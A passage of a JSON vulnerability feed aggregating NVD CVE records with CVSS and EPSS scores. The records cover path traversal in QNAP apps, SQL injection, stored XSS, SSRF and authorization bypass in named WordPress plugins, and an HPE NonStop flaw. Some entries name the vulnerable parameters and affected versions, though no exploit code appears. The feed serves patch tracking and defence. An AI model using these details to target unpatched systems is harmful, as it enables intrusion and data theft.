of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-39993","cveId":"CVE-2026-39993","aliases":[],"kind":"vulnerability","title":"A relative path traversal vulnerability has been reported to affect Download Station.","summary":"A relative path traversal vulnerability has been reported to affect Download Station. If a remote attacker gains a user account, they can then exploit the vulnerability to read the contents of unexpected files or system data.\n\nWe have already fixed the vulnerability in the following version:\nDownload Station 5.10.2.313 and later\nDownload Station 5.11.3.322 and later","detail":"A relative path traversal vulnerability has been reported to affect Download Station. If a remote attacker gains a user account, they can then exploit the vulnerability to read the contents of unexpected files or system data.\n\nWe have already fixed the vulnerability in the following version:\nDownload Station 5.10.2.313 and later\nDownload Station 5.11.3.322 and later\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T07:18:00.317Z","updatedAt":"2026-10-15T16:32:39.893Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-39993","asOf":"2026-10-15T16:32:39.893Z"},"epss":{"probability":0.00362,"percentile":0.297,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-39993&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-39993","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39993","type":"primary","publishedAt":"2026-10-15T07:18:00.317Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-39993&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-39993, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-68404","cveId":"CVE-2025-68404","aliases":[],"kind":"vulnerability","title":"A time-of-check time-of-use (toctou) race condition vulnerability has been reported to affect QuRouter.","summary":"A time-of-check time-of-use (toctou) race condition vulnerability has been reported to affect QuRouter. If exploited, the vulnerability could allow remote attackers to compromise the security of the system.\n\nWe have already fixed the vulnerability in the following version:\nQuRouter 2.6.4.001 and later","detail":"A time-of-check time-of-use (toctou) race condition vulnerability has been reported to affect QuRouter. If exploited, the vulnerability could allow remote attackers to compromise the security of the system.\n\nWe have already fixed the vulnerability in the following version:\nQuRouter 2.6.4.001 and later\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T07:17:57.157Z","updatedAt":"2026-10-19T22:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-68404","asOf":"2026-10-19T22:10:00.130Z"},"epss":{"probability":0.00151,"percentile":0.04159,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-68404&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2025-68404","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-68404","type":"primary","publishedAt":"2026-10-15T07:17:57.157Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-68404&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-68404, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-66275","cveId":"CVE-2025-66275","aliases":[],"kind":"vulnerability","title":"A path traversal vulnerability has been reported to affect Video Station.","summary":"A path traversal vulnerability has been reported to affect Video Station. If a remote attacker gains a user account, they can then exploit the vulnerability to read the contents of unexpected files or system data.\n\nWe have already fixed the vulnerability in the following version:\nVideo Station 5.8.5 and later","detail":"A path traversal vulnerability has been reported to affect Video Station. If a remote attacker gains a user account, they can then exploit the vulnerability to read the contents of unexpected files or system data.\n\nWe have already fixed the vulnerability in the following version:\nVideo Station 5.8.5 and later\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T07:17:56.870Z","updatedAt":"2026-10-19T22:10:00.130Z","regions":["Global"],"vendor":"qnap","product":"video station","stacks":["QNAP","video station"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-66275","asOf":"2026-10-19T22:10:00.130Z"},"epss":{"probability":0.00366,"percentile":0.3018,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-66275&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2025-66275","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66275","type":"primary","publishedAt":"2026-10-15T07:17:56.870Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-66275&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-66275, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-66272","cveId":"CVE-2025-66272","aliases":[],"kind":"vulnerability","title":"A path traversal vulnerability has been reported to affect Video Station.","summary":"A path traversal vulnerability has been reported to affect Video Station. If a remote attacker gains a user account, they can then exploit the vulnerability to read the contents of unexpected files or system data.\n\nWe have already fixed the vulnerability in the following version:\nVideo Station 5.8.5 and later","detail":"A path traversal vulnerability has been reported to affect Video Station. If a remote attacker gains a user account, they can then exploit the vulnerability to read the contents of unexpected files or system data.\n\nWe have already fixed the vulnerability in the following version:\nVideo Station 5.8.5 and later\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T07:17:56.730Z","updatedAt":"2026-10-19T22:10:00.130Z","regions":["Global"],"vendor":"qnap","product":"video station","stacks":["QNAP","video station"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-66272","asOf":"2026-10-19T22:10:00.130Z"},"epss":{"probability":0.00366,"percentile":0.3018,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-66272&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2025-66272","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66272","type":"primary","publishedAt":"2026-10-15T07:17:56.730Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-66272&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-66272, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88043","cveId":"CVE-2026-88043","aliases":[],"kind":"vulnerability","title":"The Mang Board WP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'data_type' parameter in all versions up to, and including, 2.4.0 due to insufficient...","summary":"The Mang Board WP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'data_type' parameter in all versions up to, and including, 2.4.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","detail":"The Mang Board WP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'data_type' parameter in all versions up to, and including, 2.4.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T06:17:05.490Z","updatedAt":"2026-10-15T17:17:29.673Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88043","asOf":"2026-10-15T17:17:29.673Z"},"epss":{"probability":0.0019,"percentile":0.08584,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88043&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88043","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88043","type":"primary","publishedAt":"2026-10-15T06:17:05.490Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88043&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88043, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-18586","cveId":"CVE-2026-18586","aliases":[],"kind":"vulnerability","title":"The Premium Packages – Sell Digital Products Securely plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting via 'order_email' in all versions up to,...","summary":"The Premium Packages – Sell Digital Products Securely plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting via 'order_email' in all versions up to, and including, 7.0.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","detail":"The Premium Packages – Sell Digital Products Securely plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting via 'order_email' in all versions up to, and including, 7.0.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T06:17:03.347Z","updatedAt":"2026-10-15T17:17:21.433Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-18586","asOf":"2026-10-15T17:17:21.433Z"},"epss":{"probability":0.00231,"percentile":0.13874,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-18586&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-18586","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-18586","type":"primary","publishedAt":"2026-10-15T06:17:03.347Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-18586&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-18586, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-18548","cveId":"CVE-2026-18548","aliases":[],"kind":"vulnerability","title":"The Groundhogg — CRM, Newsletters, and Marketing Automation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ref' parameter in all versions up to, and...","summary":"The Groundhogg — CRM, Newsletters, and Marketing Automation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ref' parameter in all versions up to, and including, 4.5.14 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","detail":"The Groundhogg — CRM, Newsletters, and Marketing Automation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ref' parameter in all versions up to, and including, 4.5.14 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T06:17:03.043Z","updatedAt":"2026-10-15T17:17:21.230Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-18548","asOf":"2026-10-15T17:17:21.230Z"},"epss":{"probability":0.00287,"percentile":0.21085,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-18548&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-18548","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-18548","type":"primary","publishedAt":"2026-10-15T06:17:03.043Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-18548&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-18548, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-17031","cveId":"CVE-2026-17031","aliases":[],"kind":"vulnerability","title":"The Checkout Field Manager (Checkout Manager) for WooCommerce plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 7.9.6 This is due to...","summary":"The Checkout Field Manager (Checkout Manager) for WooCommerce plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 7.9.6 This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary Media Library attachments.","detail":"The Checkout Field Manager (Checkout Manager) for WooCommerce plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 7.9.6 This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary Media Library attachments.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T06:17:02.693Z","updatedAt":"2026-10-15T17:17:21.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-17031","asOf":"2026-10-15T17:17:21.130Z"},"epss":{"probability":0.00291,"percentile":0.21498,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-17031&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-17031","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-17031","type":"primary","publishedAt":"2026-10-15T06:17:02.693Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-17031&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-17031, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-15090","cveId":"CVE-2026-15090","aliases":[],"kind":"vulnerability","title":"The Link Library plugin for WordPress is vulnerable to time-based SQL Injection via the 'link_url' parameter in all versions up to, and including, 7.9.2 due to insufficient...","summary":"The Link Library plugin for WordPress is vulnerable to time-based SQL Injection via the 'link_url' parameter in all versions up to, and including, 7.9.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","detail":"The Link Library plugin for WordPress is vulnerable to time-based SQL Injection via the 'link_url' parameter in all versions up to, and including, 7.9.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T06:17:02.160Z","updatedAt":"2026-10-15T17:17:17.233Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-15090","asOf":"2026-10-15T17:17:17.233Z"},"epss":{"probability":0.00364,"percentile":0.29916,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-15090&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-15090","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-15090","type":"primary","publishedAt":"2026-10-15T06:17:02.160Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-15090&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-15090, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76665","cveId":"CVE-2026-76665","aliases":[],"kind":"vulnerability","title":"A security vulnerability in HPE NonStop EXPAND may cause out-of-bounds memory read resulting in buffer overflow.","summary":"A security vulnerability in HPE NonStop EXPAND may cause out-of-bounds memory read resulting in buffer overflow.","detail":"A security vulnerability in HPE NonStop EXPAND may cause out-of-bounds memory read resulting in buffer overflow.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T05:17:04.310Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76665","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00157,"percentile":0.04784,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76665&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76665","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76665","type":"primary","publishedAt":"2026-10-15T05:17:04.310Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76665&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76665, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-3712","cveId":"CVE-2026-3712","aliases":[],"kind":"vulnerability","title":"The PhastPress plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 3.10 This is due to the scripts service endpoint...","summary":"The PhastPress plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 3.10 This is due to the scripts service endpoint constructing its URL whitelist dynamically from the attacker-controlled HTTP 'Host' header. This makes it possible for unauthenticated attackers to spoof the header to match any target URL, bypassing the whitelist and forcing the server to make HTTP requests to arbitrary internal or external destinations and return the response content.","detail":"The PhastPress plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 3.10 This is due to the scripts service endpoint constructing its URL whitelist dynamically from the attacker-controlled HTTP 'Host' header. This makes it possible for unauthenticated attackers to spoof the header to match any target URL, bypassing the whitelist and forcing the server to make HTTP requests to arbitrary internal or external destinations and return the response content.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T05:17:04.067Z","updatedAt":"2026-10-15T17:17:23.553Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-3712","asOf":"2026-10-15T17:17:23.553Z"},"epss":{"probability":0.00243,"percentile":0.15361,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-3712&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-3712","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-3712","type":"primary","publishedAt":"2026-10-15T05:17:04.067Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE 